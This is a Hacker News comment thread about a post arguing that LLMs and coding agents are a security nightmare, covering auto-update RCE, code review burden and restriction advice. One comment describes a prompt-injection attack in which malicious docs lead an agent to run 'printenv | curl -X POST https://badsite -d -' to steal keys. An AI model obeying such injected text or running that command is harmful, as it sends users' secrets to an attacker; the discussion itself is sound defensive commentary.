frontpage.
newsnewestaskshowjobs

Made with ♥ by @iamnishanth

Open Source @Github

Open in hackernews

LLMs and coding agents are a security nightmare

https://garymarcus.substack.com/p/llms-coding-agents-security-nightmare
29•flail•1h ago

Comments

sneak•1h ago
I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions.

Cloudflare apparently did something similar recently.

It is more than possible to write secure code with AI, just as it is more than possible to write secure code with inexperienced junior devs.

As for the RCE vector; Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine.

Separately from AI, most people deploy containers based on tagged version names, not cryptographic hashes. This is trivially exploitable by the container registry.

We have learned nothing from Solarwinds.

senko•1h ago
> Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine.

Isn't that the same for Chrome, VSCode, and any upstream-managed (as opposed to distro/os managed) package channel with auto updates?

It's a bad default, but pretty much standard practice, and done in the name of security.

senko•1h ago
tldr: Gary Marcus Went To Black Hat - What He Saw There Will Shock You

(it won't if you've been following LLM coding space, but anyway...)

I hoped Gary would have at least linked to the talks so people could get the actual info without his lenses, but no such luck.

But he did link to The Post A Few Years Ago Where He Predicted It All.

(yes I'm cynical: the post is mostly on point, but by now I wouldn't trust Marcus if he announced People Breathe Oxygen).

popcorncowboy•14m ago
The Gary Marcus Schtick at this point is to shit on LLM-anything, special extra poop if it's sama-anything. Great, I don't even disagree. But it's hard to read anything he puts up these days as he's become a caricature of the enlightened-LLM-hater to the extent that his work reads like auto-gen "whatever you said but the opposite, and also you suck, I'm Gary Marcus".
flail•11m ago
Save for Gary Marcus' ego, which you're right about, most of the article is written by Nathan Hamiel from Kudelski Security. The voice of the post sounds weird because Nathan is referred to in a third person, but from the content, it's pretty clear that much of that is not Gary Marcus.

Also, slides from the Nvidia talk, which they refer to a lot, are linked. The Nathan's presentation links only to the conference website.

dijksterhuis•54m ago
> RRT (Refrain Restrict Trap).

> Refrain from using LLMs in high-risk or safety-critical scenarios.

> Restrict the execution, permissions, and levels of access, such as what files a given system could read and execute, for example.

> Trap inputs and outputs to the system, looking for potential attacks or leakage of sensitive data out of the system.

this, this, this, a thousand billion times this.

this isn’t new advice either. it’s been around for circa ten years at this point (possibly longer).

diggan•45m ago
> might ok a code change they shouldn’t have

Is the argument that developers who are less experience/in a hurry, will just accept whatever they're handed? In that case, this would be as true for random people submitting malicious PRs that someone accepts without reading, even without an LLM involved at all? Seems like an odd thing to call a "security nightmare".

SamuelAdams•37m ago
I was also confused. In our organization all PR’s must always be reviewed by a knowledgeable human. It does not matter if it was all LLM generated or written by a person.

If insecure code makes it past that then there are bigger issues - why did no one catch this, is the team understanding the tech stack well enough, and did security scanning / tooling fall short, and if so how can that be improved?

IanCal•21m ago
Aside from noting that reviews are not perfect and increased attacks is a risk anyway - the other major risk is running code on your dev machine. You may think to review this more for an unknown pr than an llm suggestion.
reilly3000•18m ago
The attack isn’t bad code. It could be malicious docs that tell the LLM to make a tool call to printenv | curl -X POST https://badsite -d - and steal your keys.
flail•19m ago
One thing relying on coding agents does is it changes the nature of the work from typing-heavy (unless you count prompting) to code-review-heavy.

Cognitively, these are fairly distinct tasks. When creating code, we imagine architecture, tech solutions, specific ways of implementing, etc., pre-task. When reviewing code, we're given all these.

Sure, some of that thinking would go into prompting, but not to such a detail as when coding.

What follows is that it's easier to make a vulnerability pass through. More so, given that we're potentially exposed to more of them. After all, no one coding manually would consciously add vulnerability to their code base. Ultimately, all such cases are by omission.

A compromised coding agent would try that. So, we have to change the lenses from "vulnerability by omission only" to "all sorts of malicious active changes" too.

An entirely separate discussion is who reviews the code and what security knowledge they have. It's easy to dismiss the concern once a developer has been dealing with security for years. But these are not the only developers who use coding agents.

Graphene-Like Material Could Boost Proton Therapy

https://spectrum.ieee.org/proton-therapy
1•rbanffy•2m ago•0 comments

HN: Solo founder building "GTM agent swarm" – anyone else?

1•johnathan_p•2m ago•0 comments

Show HN: Scoring dev work by how hard it is for AI to copy it

https://github.com/valdrox/devscorer
1•valdrox•3m ago•0 comments

Beyond the Logo: How We're Weaving Full Images Inside QR Codes

https://blog.nitroqr.com/beyond-the-logo-how-were-weaving-full-images-inside-qr-codes
1•bhasinanant•4m ago•0 comments

We still build with Ruby in 2025

https://www.getlago.com/blog/why-we-still-build-with-ruby-in-2025
1•FinnLobsien•5m ago•0 comments

Apple's Greed Is Finally Backfiring [video]

https://www.youtube.com/watch?v=JUG1PlqAUJk
1•01-_-•5m ago•0 comments

UK drafts AI to help Joe Public decipher its own baffling bureaucracy

https://www.theregister.com/2025/08/18/ai_form_fillers/
1•rntn•5m ago•0 comments

Astrophysical Classics: Hanbury Brown and Twiss Measure the Size of Sirius

https://astrobites.org/2025/08/14/hanburybrowntwiss/
1•sohkamyung•8m ago•0 comments

ZFS scrubs check (much) less than you probably think they do (2018)

https://utcc.utoronto.ca/~cks/space/blog/solaris/ZFSScrubLimitsII
2•susam•8m ago•0 comments

Show HN: Portfolio analytics for crypto that go beyond tracking

https://www.coiniq.io/
1•dudeseriously•9m ago•0 comments

Gaussian Processes for Machine Learning [pdf]

https://gaussianprocess.org/gpml/chapters/RW.pdf
1•susam•10m ago•0 comments

Show HN: Strudel Flow, a pattern sequencer built with Strudel and React Flow

https://github.com/xyflow/strudel-flow
1•moklick•13m ago•0 comments

Show HN: Typed-arrow – compile‑time Arrow schemas for Rust

https://github.com/tonbo-io/typed-arrow
1•ethegwo•13m ago•0 comments

Mutually Attacking Knights Placements

https://susam.net/mutually-attacking-knights.html
1•susam•14m ago•0 comments

Does 3I/Atlas Generate Its Own Light? (Avi Loeb)

https://avi-loeb.medium.com/does-3i-atlas-generate-its-own-light-e9775594afc5
2•ryandvm•16m ago•0 comments

Intel Foundry Demonstrates First Arm-Based Chip on 18A Node – HotHardware

https://hothardware.com/news/intel-foundry-demos-deer-creek-falls-reference-soc
2•rbanffy•16m ago•0 comments

Those who stay will be champions

https://tombrady.com/posts/those-who-stay-will-be-champions
2•marc__1•16m ago•0 comments

Inner speech in motor cortex and implications for speech neuroprostheses

https://www.cell.com/cell/fulltext/S0092-8674(25)00681-6
1•codetostory•18m ago•0 comments

Book News for the 33rd week of 2025, August 11th-August 17th

https://comuniq.xyz/post?t=158
1•01-_-•21m ago•0 comments

Webstrates: A Platform for Modern Computational Media

https://webstrates.net/
1•thunderbong•21m ago•0 comments

Show HN: Extension to Replace AI With :duck:

https://github.com/jackdoe/ai-to-duck
2•jackdoe•21m ago•0 comments

Show HN: Rankl – A Daily Search-Term Ranking Game

https://rankl.gg/
1•mxschll•22m ago•0 comments

SpaceX reveals why the last two Starships failed as another launch draws near

https://arstechnica.com/space/2025/08/spacex-reveals-why-the-last-two-starships-failed-as-another-launch-draws-near/
1•rbanffy•24m ago•0 comments

LLM Benchmarks on Company Data

https://github.com/apistemic/benchmarks
1•lorey•24m ago•0 comments

Show HN: ImageEnhance Pro – Professional AI image enhancement tool

https://imageenhance.pro
1•dahuangf•24m ago•0 comments

Stacks of Cash

https://www.newyorker.com/news/fault-lines/stacks-of-cash
4•PaulHoule•24m ago•0 comments

Nvidia CUDA Quantum

https://github.com/NVIDIA/cuda-quantum
1•tzury•26m ago•0 comments

Will AI code generation kill or elevate software craftsmanship?

https://www.therubyaipodcast.com/2388930/episodes/17655188-roasting-ruby-ai-workflows-with-obie-fernandez
2•codenamev•28m ago•1 comments

Rules Before Tools: Why Most AI Strategies Fail

https://boxofamazing.substack.com/p/rules-before-tools
1•rhirji•28m ago•1 comments

Show HN: A relatively fast ASCII video player in terminal (with colors support)

https://github.com/minhcrafters/ascii-rs
1•minhcrafters•30m ago•0 comments